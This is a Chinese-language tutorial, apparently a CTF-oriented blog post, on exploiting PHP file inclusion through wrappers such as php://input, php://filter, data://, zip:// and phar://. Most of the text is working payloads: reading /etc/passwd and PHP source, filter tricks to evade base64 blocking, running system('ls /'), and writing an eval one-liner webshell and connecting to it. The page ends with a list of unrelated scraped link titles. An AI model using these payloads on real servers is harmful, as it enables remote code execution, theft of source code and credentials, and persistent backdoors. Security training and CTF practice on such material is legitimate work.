PHP伪协议与文件包含

  • PHP伪协议与文件包含

  • php:// 协议

    • php://input

    • php://filter

  • data:// 协议

  • file:// 协议

  • zip://、bzip2://、zlib://协议

    • zip://协议

    • bzip2://协议

    • zlib://协议

  • phar://伪协议

文件包含漏洞(File Inclusion)

文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些文件包含函数利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

文件包含漏洞特征:

  • ?page=a.php
  • ?home=b.html
  • ?file=content

检测方法:

  • ?file=../../../../etc/passwd
  • ?page=file:///etc/passwd
  • ?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt

关于文件包含漏洞的具体详情,我们不再赘述,下面我们来总结一下PHP伪协议在文件包含中的利用。

PHP伪协议与文件包含

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。

首先归纳下常见的文件包含函数:includerequireinclude_oncerequire_oncehighlight_fileshow_sourcereadfilefile_get_contentsfopenfile,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:php://filterphp://inputfile://data://zip://compress.bzip2://compress.zlib://,后续再对每个文件包含函数进一步进行探讨。

环境概要:

PHP.ini:

allow_url_fopen:on  默认开启  该选项用于设置是否允许将URL作为文件处理。该选项为on便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。

allow_url_include:off  默认关闭,该选项为on便是允许 包含 URL 对象文件等。

为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。

php:// 协议

利用条件:

  • allow_url_fopen:不需要开启
  • allow_url_include:仅php://input php://stdin php://memory php://temp需要开启

作用

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取php文件的源码php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了,php://filter在双off的情况下也可以正常使用。

php://input

php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,可以将post请求中的数据作为PHP代码执行。

注意:在enctype="multipart/form-data" 的时候php://input是无效的。

要求PHP.ini:

allow_url_fopen: off或on  // 无要求allow_url_include: on

用法:?file=php://input 数据利用POST直接传过去。如下测试。

测试代码:

<?php echo file_get_contents($_GET['whoami']);?>

测试结果:

image-20200815163356474

成功输出了我们POST过去的data数据。

php://input 执行php代码与写入木马

测试代码:

<?php     $filename  = $_GET['file'];include($filename);?>

我们构造如下:

http://192.168.1.103/test.php?file=php://input

[POST DATA部分]:<?php  phpinfo(); ?>

如下,成功执行:

image-20200815163848057

命令执行:

我们构造如下:

http://192.168.1.103/test.php?file=php://input

[POST DATA部分]:<?php  system('ls /'); ?>

image-20200815213804709

若有写入权限,可以写入一句话木马:

http://192.168.1.103/test.php?file=php://input

[POST DATA部分]:<?php  fputs(fopen('shell.php','w'),'<?php  @eval($_POST[whoami]);?>');?>

image-20200815164024699

蚁剑连接成功:

image-20200815164139935

php://filter

php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。

php://filter常用于读取php文件的源码php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了,php://filter在allow_url_fopen和allow_url_include双off的情况下也可以正常使用。

要求PHP.ini:

allow_url_fopen: off或on  // 无要求allow_url_include: off或on  // 无要求

php://filter参数详解:

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数 描述
resource= 必须项。它指定了你要筛选过滤的数据流。
read= 可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔
write= 可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔
任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。

可用的过滤器列表:

此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php

字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
转换过滤器 作用
convert.base64 convert.base64-encode & convert.base64-decode分别等同于base64_encode()base64_decode(),base64编码解码
convert.quoted quoted-printable 字符串与 8 为字符串编码解码,有convert.quoted-printable-encode 和 convert.quoted-printable-decode。使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。
convert.iconv.* 这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

下面我们来实验用php://filter来读写文件。

测试代码:

<?php     $file1 = $_GET['file1'];    $file2 = $_GET['file2'];    $txt = $_GET['txt'];  // 写入的内容echo file_get_contents($file1);    // 或者是include($file1);    file_put_contents($file2,$txt);?>

读取文件

test.php?file1=php://filter/resource=/etc/passwd

test.php?file1=php://filter/read=convert.base64-encode/resource=flag.php    // 专用于读取php文件

测试结果:

image-20200815170005879

读取php文件:

image-20200815170201017

base64解码即可。

在实战中,若是遇上includerequireinclude_oncerequire_oncehighlight_fileshow_sourcereadfilefile_get_contentsfopenfile等文件包含函数,我们可以用php://filter来读取php源码。

写入文件

test.php?file2=php://filter/resource=test1.txt&txt=Thanks Bunny!或test.php?file2=php://filter/write=convert.base64-encode/resource=test2.txt&txt=Thanks Bunny!

分别执行后查看生成的txt文件:

image-20200815171035715

如上图写入成功。

php://filter 绕过 convert.base64

convert.base64过滤器

convert.base64-encode & convert.base64-decode分别等同于base64_encode()base64_decode(),base64编码解码。最常见的,不再赘述。

如果base64被过滤了,那我们就可以用下面的那几个convert转换过滤器。

convert.quoted过滤器

这个过滤器用于 quoted-printable 字符串与 8 为字符串的编码解码。

有convert.quoted-printable-encode 和 convert.quoted-printable-decode 这两个。

使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。

quoted_printable_decode() 函数对经过 quoted-printable 编码后的字符串进行解码,返回 8 位的 ASCII 字符串

<?php $str = "I=0Alove=0AShanghai!";echo quoted_printable_decode($str);?>

// 输出I love Shanghai!

网上用于quoted-printable 编码解码的网址有:

http://www.mxcz.net/tools/quotedprintable.aspx

http://web.chacuo.net/charsetquotedprintable

测试代码:

<?php include($_GET['file']);?>

我们用flag.php来做实验:

image-20200815171619018

payload:

test.php?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php  

image-20200815173356834
convert.iconv.*过滤器

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。*使用convert.iconv.过滤器等同于用iconv()函数处理所有的流数据。

convert.iconv.*的使用有两种方法

convert.iconv.. 或者convert.iconv./

PHP iconv()函数

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

iconv() — 将字符串按要求的字符编码来转换。

说明

iconv ( string $in_charset , string $out_charset , string $str ) : string

将字符串 str 从 in_charset 转换编码到 out_charset,返回转换后的字符串。

蓝帽杯有一道题,文件包含用php://filter读源码,但是base64和read=都被过滤了,所以我们可以使用convert.iconv。我们将convert.base64-encode改为convert.iconv.utf-8.utf-7,即filename=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=php://filter/read=convert.iconv.utf-8.utf-7/resource=flag.php

// 也就是将utf-8编码转换为utf-7编码

image-20200815174729969

如上图,成功得到flag,其稍作修改即可。

当然,我们也可以用字符串过滤器,如下。

string.rot13(移位编码)

(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据

string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,即传递一个编码过的字符串作为参数,将得到原始字符串。

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=php://filter/read=string.rot13/resource=flag.php

// 也就是将utf-8编码转换为utf-7编码

image-20200815180506105

在网上将其rot13解码即可,解码地址:https://www.jisuan.mobi/puzzm6z1B1HH6yXW.html

data:// 协议

数据流封装器,和php://相似都是利用了流的概念,将原本的要include的文件流重定向到了用户可控制的输入流中简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的。

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

要求PHP.ini:

allow_url_fopen: onallow_url_include: on

用法:

和php伪协议的php://input类似,碰到file_get_contents()可以用;

 <?php  // 打印 “输出" echo file_get_contents($_GET[file]); ?>

payload:

test.php?file=data://text/plain;base64,VGhhbmtzJTIwQnVubnklMjE=

image-20200815202309580

如果遇上include文件包含,还可以造成任意代码执行:

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=data://text/plain,<?php  phpinfo();?>或test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

image-20200815202637601

image-20200815203509516

也可以像一下这种形式:

test.php?file=data:text/plain,<?php  phpinfo()?>test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=test.php?file=data:,<?php  phpinfo()?>

都是可以的:

image-20200815203746759

有权限的话还可以写shell。

data这里还有这样一个好玩的,这是2020蓝帽杯的一个题,有以下一个限制:

image-20200807184117327

让我们用GET传一个参数,指向一个文件,如果开文件的内容中不存在和php,那么就包含该文件。我们的利用思路当然是让他包含一个php文件。

我们用以下方法绕过,即:

file_get_contents('data:,xx/res');   // 将返回字符串'xx/res' include('data:,xx/res');            // 将包含res文件的内容

证明测试如下:

在Web根目录下有一个test.php,还有一个名为data:,xx的目录,里面有一个res文件,res文件的内容为 phpinfo();?>

image-20200808164538288

访问test.php代码如下:

image-20200808164559941

此时,如果我们输入/test.php?page=data:,xx/res

image-20200808164713218

如上图将返回字符串'xx/res'。接下来我们把include前的注释去掉,再测试一遍:

image-20200808165107017

效果可见一斑。利用以上原理,就可以绕过这个限制了。

也就是说,如果data是这种形式:data:,xx/res,且不存在data:,xx目录的话,include和file_get_contents都返回字符串xx/res;如果存在data:,xx目录的话,那么include将包含data:,xx目录里的res文件,造成php代码执行,而file_get_contents则任然只会返回字符串xx/res

file:// 协议

通过file协议可以访问本地文件系统,读取到文件的内容,

测试代码:

<?php include($_GET['file']);?>

payload:

test.php?file=file:///etc/passwd

image-20200815205507910

但是不能用来读取php文件的源码,且单纯的file://伪协议不配合文件包含漏洞是不能执行文件里的php代码的。

zip://、bzip2://、zlib://协议

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

要求php.ini:

allow_url_fopen: off/on      // 无要求allow_url_include: off/on    // 无要求

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用。

zip://协议

条件:PHP > =5.3.0,注意在windows下测试要5.3.0

使用方法:

zip://archive.zip#dir/file.txt

zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

# 在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

测试代码:

<?php include($_GET['file']);?>

即先在本地将要执行的PHP代码写好文件名为shell.php,再将shell.txt进行zip压缩,压缩文件名为whoami.zip:

image-20200815210650620

如果可以上传zip文件便直接上传,若不能便将whoami.zip重命名为whoami.jpg后再上传,其他几种压缩格式也可以这样操作。然后,就用zip://协议访问我们上传的whoami.zip(或whoami.jpg)里面的shell.php(适用于有文件上传和文件包含的地方):

payload:

test.php?file=zip:///var/www/html/whoami.zip%23shell.txt

image-20200815212307187

bzip2://协议

使用方法:

compress.bzip2://file.bz2

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

test.php?file=compress.bzip2://目录/phpinfo.bz2

即可执行phpinfo。

zlib://协议

使用方法:

compress.zlib://file.gz

压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

test.php?file=compress.zlib://目录/phpinfo.bz2

即可执行phpinfo。

phar://伪协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,不管后缀是什么,都会当做压缩包来解压

用法:?file=phar://压缩包/内部文件 注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

测试代码:

<?php include($_GET['file']);?>

步骤:写一个木马文件shell.txt,然后用zip协议压缩为whoami.zip,然后将后缀改为png等其他格式,上传,然后再用phar伪协议来访问: (和zip://用法类似的)

test.php?file=phar:///var/www/html/whoami.png/shell.txt

image-20200815213458198

base64 转文件_PHP伪协议与文件包含相关推荐

  1. php伪协议漏洞_php伪协议利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本 设置allow_url_fopen和 ...

  2. 【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析) 靶场地址

  3. php伪协议c,文件包含之:php伪协议

    file:// 协议 条件: allow_url_fopen:off/on allow_url_include :off/on 作用: 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受al ...

  4. 文件源码读取 php伪协议,include(文件包含漏洞,php伪协议)

    点击tips 查看元素,也并没有有用的信息,联想到题目,include 想起了文件包含漏洞. 构造payload ?file=/../../../../../../flag.php 没有返回东西.看完 ...

  5. php 加载库文件_php 如何调用dll文件内接口,求大神帮忙谢谢。

    1.他们给了一个libcryptAPIc_1.dll这种类型的组件,是用C写的. 2.解密文件时,先调用提供的加解密组件中,因子密文解密方法DesCrypt1,将因子密文解密,返回因子: 3.调用提供 ...

  6. php读取excel文件_PHP如何读取excel文件内容?

    在PHP中可以使用PHPExcelReader或者PHPExcel来读取Excel文件内容,其读取内容的语句代码如"$objPHPExcel->getActiveSheet()-> ...

  7. php如何实现下载本地文件_PHP实现远程下载文件到本地

    代码很简单就不多废话了,直接奉上: echo httpcopy("https://www.jumtu.com/zb_users/upload/2021/01/20/qiatqdjn2pd.j ...

  8. 局域网怎么同步文件?Samba协议同步文件

    局域网第三方Samba同步工具: 有三种模式 1.synchronize,完全同步,左边操作的会同步到右边,右边操作的会同步到左边 2.echo:左边操作的会同步到右边,右边操作的不影响右边 3.Co ...

  9. 第十天文件包含漏洞 php伪协议

    文件包含漏洞 PHP中常见包含文件函数 常见文件包含漏洞代码 文件包含漏洞的危害 伪协议 php使用input读取post请求体的内容 Data:// 数据 Zlib:// 压缩流 文件包含的漏洞的分 ...

最新文章

  1. python使用正则表达式检测给定的URL地址是否合法
  2. 春节在家不再无聊,这份2019 AI研究进展回顾陪伴你
  3. MySQL错误代码:MySQL Workbench中UPDATE期间的1175错误代码
  4. eclipse+ADT下android开发AVD若干问题
  5. 用REDIS实现分布式缓存
  6. java 矩阵题目_java练习本(20190604)
  7. 【Tools】Visual Studio 2017下载和安装
  8. vue 动态绑定 video src,不能正常播放问题
  9. 刘强东退出武汉京东世纪贸易有限公司经理一职
  10. 简析Windows Linux的内核映射
  11. 2021年5月12日17点49分 绿盟极光
  12. SpringSecurity实战(八)-通用第三方登陆-自定义认证配置实现
  13. android 下拉状态栏(SystemUI)常见修改记录
  14. 服务器私有信息,私有服务器
  15. 2022采用Uni-app开发的多端圈子社区论坛系统
  16. padStart()和padEnd()使用
  17. 腾讯高工保姆级“Java成长手册”,层层递进,全是精华!Github上都没有!
  18. TLink 工业物联网平台,支持云组态、实时计算、微信告警
  19. sqlserver 人名_SQLserver运维必备:T-SQL语句练习
  20. win7如何显示文件后缀名【系统天地】

热门文章

  1. 众多SEO专家集体盛赞
  2. xp计算机关闭139端口,小编搞定xp系统电脑关闭139端口的图文方法
  3. idea创建springboot项目出现的问题
  4. 各版本lettuce spring集成流程(连接池、哨兵配置)
  5. centOS7安装matlab2014a
  6. mysql 慢sql分析_如何分析Mysql慢SQL
  7. 【C++学习详细教程目录】
  8. maven 解决冲突
  9. spark on yarn 部署问题
  10. css3 - target